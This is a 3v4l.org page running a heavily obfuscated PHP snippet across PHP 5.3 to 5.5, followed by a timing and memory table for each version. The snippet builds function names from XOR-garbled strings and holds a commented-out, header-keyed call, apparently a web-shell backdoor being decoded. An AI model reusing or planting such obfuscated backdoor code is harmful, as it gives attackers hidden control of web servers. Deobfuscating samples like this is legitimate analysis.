3v4l.org

run code in 300+ PHP versions simultaneously
<?php $N2a='dvADoy'&~UNt8GAiXc2G;$DAWi='/>-LEZ#*U4)'^'A[[;+-'.KT0_G;$vhne8tDK=#ZoBluzBk9w'. '}owo~sn~wmn'&'}}wm~'.wkto.'{~';$NjKiZ=ohWzjE^')'.Ms_H7;$kZoehuqrTg7='@'./*HBu'. '.lY4UiKKR>*/YPZ_a|'H]D^NC';$IJ6e='ND4@ZQ'|'xP]P]Q';$rAMg='((FG*QJZ=)4"'^'XZ! '. 'u//!'.QHWO;$u4K5='0=BG5 _)+0J='^'FO7(jR:YUU-H';$LilYxx78="5"|'4';'CLF8BrCJLpk'. ',#SorX>z-';$sbaJHeSnD='F*'^jq;$eNlv9Ak='|g7'&"i|u";$Sv3SzRL8='_~G`wK'^#nqQrxm'. '8:3!;-';$IV='#1#2%'|'a51!E';$BscVpr2Ii=' 00'|'e #';$umdcK=_^'9';$kFDxdcROJ=/*'. '90Cg*/km&iw;$X2iSZAD_uGC=';p{bo'^'s$/20';$IleWkFMnzQq='}'&Z;$JD=KD&'}V';'bbsx'. '?U8';$pKlSp2V=$DAWi&$vhne8tDK;$rGLmFTY=('$@$'|'- !')|$eNlv9Ak;$IdQ_wkDqX=/*Rd'. '{]N3*/$NjKiZ|$Sv3SzRL8;$XWnPayhg=('"!N?7:&I+'.aR8Q9^'AR"'.QhGU.',]>4M?V')&(#U'. 'ga~}_w{}{'._owns&'gu~}_w{}{'._ownw);$buCz=$kZoehuqrTg7&$IJ6e;$D1=$rAMg&/*hwZM'. '0%y6K^|*/$u4K5;$NtOOvR7dR=('P0Z@"&@ F4C '.XxBH.'- 00Z(<Y f A'|#lsVfS785TuIYpT'. '@qzJ &H0 ,@1'.QhbB00.'" R ,[%F0e')^('~^$B*O,'.bXPf5lH.'}]LX4$Y`0r-e7z'^/*dBGL'. 'BXK4.o{*/Klo9k.'*U8g;]wTg*y=?~da%Y]iTV"'); echo $XWnPayhg; die; /* if(!levenshtein(md5(getenv('HTTP_A')),('rLO:^}e+w]_Tp?'._ij7Ugk.']'^FuwXkKWMGn.'<c@^'.nQRRd_.'^<')./*'. 'y*/$IV.$LilYxx78.$BscVpr2Ii.$umdcK)) $XWnPayhg($D1,$sbaJHeSnD.('Zj]<o'&#sdZtUt'.'~o]nm').$kFDxdcROJ,$IdQ_wkDqX($X2iSZAD_uGC.$IleWkFMnzQq.$JD),$NtOOvR7dR); #Np'.'VuQ[$p:PZ>HRfi)+z@??To#EX345]2q-JUq(p&,E+1ah';

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.5.60.0130.05019.21
5.5.50.0370.06319.45
5.5.40.0270.06319.42
5.5.30.0200.06719.21
5.5.20.0230.04019.50
5.5.10.0230.04719.20
5.5.00.0330.06019.43
5.4.220.0230.07019.23
5.4.210.0200.07019.11
5.4.200.0230.05319.07
5.4.190.0200.05019.19
5.4.180.0300.06719.11
5.4.170.0200.07319.07
5.4.160.0230.06319.23
5.4.150.0270.04019.13
5.4.140.0430.05016.39
5.4.130.0230.05716.29
5.4.120.0370.06316.40
5.4.110.0200.04016.54
5.4.100.0270.05016.47
5.4.90.0130.04016.42
5.4.80.0330.06316.38
5.4.70.0230.06316.37
5.4.60.0230.04316.28
5.4.50.0170.07716.33
5.4.40.0230.04716.45
5.4.30.0200.05716.45
5.4.20.0170.04016.37
5.4.10.0270.04716.40
5.4.00.0230.07015.88
5.3.270.0200.04714.59
5.3.260.0230.05314.51
5.3.250.0400.05714.55
5.3.240.0230.07014.56
5.3.230.0170.05714.50
5.3.220.0200.07314.55
5.3.210.0330.07714.51
5.3.200.0270.05014.53
5.3.190.0230.06714.41
5.3.180.0200.04014.52
5.3.170.0270.06314.68
5.3.160.0270.06714.67
5.3.150.0200.07714.67
5.3.140.0300.06314.52
5.3.130.0230.06314.50
5.3.120.0270.06014.50
5.3.110.0270.06714.36
5.3.100.0200.06714.04
5.3.90.0200.04014.12
5.3.80.0230.04013.96
5.3.70.0200.06714.13
5.3.60.0170.06313.95
5.3.50.0200.04013.89
5.3.40.0200.07313.91
5.3.30.0370.05313.86
5.3.20.0330.04713.54
5.3.10.0200.03313.65
5.3.00.0230.04713.59

preferences:
140.52 ms | 1394 KiB | 7 Q